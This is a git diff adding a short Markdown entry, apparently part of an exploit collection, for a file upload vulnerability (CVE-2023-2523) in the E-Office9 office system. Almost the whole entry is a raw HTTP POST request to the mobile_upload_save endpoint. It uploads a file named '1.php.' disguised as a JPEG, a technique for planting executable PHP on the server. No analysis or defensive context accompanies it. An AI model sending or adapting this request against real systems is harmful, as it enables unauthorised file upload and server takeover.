diff --git a/某微E-Office9文件上传漏洞 CVE-2023-2523.md b/某微E-Office9文件上传漏洞 CVE-2023-2523.md new file mode 100644 index 0000000..6db7c2a --- /dev/null +++ b/某微E-Office9文件上传漏洞 CVE-2023-2523.md @@ -0,0 +1,20 @@ +## 某微E-Office9文件上传漏洞 CVE-2023-2523 + +``` +POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1 +Host:192.168.233.10:8082 +Cache-Control:max-age=0 +Upgrade-Insecure-Requests:1 +Origin:null +Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt +Accept-Encoding:gzip, deflate +Accept-Language:en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 +Connection:close + +------WebKitFormBoundarydRVCGWq4Cx3Sq6tt +Content-Disposition:form-data; name="upload_quwan"; filename="1.php." +Content-Type:image/jpeg + +------WebKitFormBoundarydRVCGWq4Cx3Sq6tt + +```